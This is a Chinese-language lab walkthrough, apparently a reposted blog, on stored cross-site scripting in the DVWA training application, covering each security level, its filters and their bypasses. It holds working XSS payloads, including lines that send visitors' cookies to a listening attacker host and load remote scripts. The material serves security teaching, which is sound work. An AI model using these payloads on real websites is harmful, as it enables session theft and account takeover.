DVWA系列(四)——使用Burpsuite进行存储型XSS(存储型跨站脚本攻击)

存储型XSS

   长期存储于服务器端;

   每次用户访问都会执行脚本代码;

1. 存储型XSS攻击图示

(1)获取被攻击者的cookie;

  1. 黑客首先向服务器发送js脚本;
  2. 服务器返回含有js脚本的页面;并将该页面存储在服务器上;
  3. 当被攻击方访问服务器时,服务器返回存储的js页面;
  4. 黑客接收到被攻击方的cookie;

(2) 重定向到第三方网站; 

  1. 黑客首先向服务器发送js脚本;
  2. 服务器返回含有js脚本的页面;并将该页面存储在服务器上;
  3. 当被攻击方访问服务器时,服务器返回存储的js页面;
  4. 被攻击方进入第三方网站;

3. 存储型XSS

实验环境

(1)Windows服务器:Windows  Server 2003,IP地址:192.168.37.128;

(2) 测试机:Windows7物理机(开启代理,代理服务器为burpsuite)

实验过程

安全级别:Low

(1)设置安全级别

(2)查看源码

(3)源码分析

trim(string,charlist):移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符;

mysql_real_escape_string(string,connection):对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义;

stripslashes(string):删除字符串中的反斜杠。

从源码中可以看到,对输入的name参数和message参数并没有做XSS方面的过滤与检查,并且数据存储在数据库中,所以存在明显的存储型XSS漏洞;

(4)实验操作

简单应用

4.1> 直接输入yxz;

4.2> 输入 <script>alert('XSS')</script>,弹出弹框;

(注:存储型XSS是长期存储在服务器端,每次访问时都会执行js脚本)

4.3> 输入 <body onload=alert('XSS1')>,弹出弹框;

4.4> 输入 <a href=http://192.168.37.128>登录</a>

4.5> 输入 <img  src=http://192.168.37.128/a.jpg onerror=alert('XSS2')>

4.6> 输入<a href='' onclick=alert('XSS3')>点击</a>

重定向

4.7> 输入<script>window.location="http://www.baidu.com"</script>

#重定向到百度;

4.8> 输入 <script>window.location="http://192.168.37.128"</script>

# 重定向到192.168.37.128

4.9> 输入 <iframe src='http://192.168.37.128/a.jpg' height='0' width='0'></iframe>

# 访问192.168.37.128/a.jpg

获取cookie

4.10> 输入 <script>new Image().src="http://192.168.37.131/c.php?output="+document.cookie;</script>

 在Kali上监听80端口,获取cookie值;

4.11> 输入 <script>alert(document.cookie)</script>

4.12> 输入 <script src='http://192.168.37.131/a.js'></script>

步骤:

    1. 制作一个js脚本;

    2. 把js脚本放到www目录下;

    3. 开启阿帕奇服务;

    4. 监听端口;

    5. 访问js脚本;

    6. 获取到js脚本实现的结果;

首先在Kali上写a.js脚本,开启Apache服务,并监听指定的端口;

 输入 <script src='http://192.168.37.131/a.js'></script> 

查看Kali监听到的cookie值; 

安全级别:Medium

(1)设置安全级别;

(2)查看源码;

(3)源码分析

由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码;

但是对于name参数,这里是基于黑名单的思想,使用str_replace函数将输入中的<script>删除,把script脚本当做字符串来处理;仍然存在存储型的XSS。

(4)实验过程

绕过方法

4.1> 可以在name中将<script>可以写成<Script>,大小写混淆绕过;

4.2> 嵌入绕过,在name中可以将script嵌入到<script>中,例如<scr<script>ipt>;

安全级别:High

(1)设置安全级别

(2)查看源码

(3)源码分析

由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码;

但是对于name参数,High级别的代码使用preg_replace() 函数用于正则表达式的搜索和替换,将script前后相关的内容都替换为空,使得双写绕过、大小写混淆绕过不再有效;(正则表达式中i表示不区分大小写)

在High级别中,虽然在name参数中无法使用<script>标签注入XSS代码,但是可以通过img、body等标签事件或者iframe等标签的src注入恶意的js代码。

(4)实验过程

绕过方式

对于安全级别为High,只是添加了对script的限制,但并未限制其他的方式;

例如:输入 <body onload=alert('XSS1')>

安全级别:Impossible

(1)设置安全级别

(2)查看源码

(3)源码分析

当安全级别为Impossible时,name参数和message参数都使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义);不能实现存储型型XSS攻击;

 

猜你喜欢

转载自blog.csdn.net/qq_38684504/article/details/89508450
今日推荐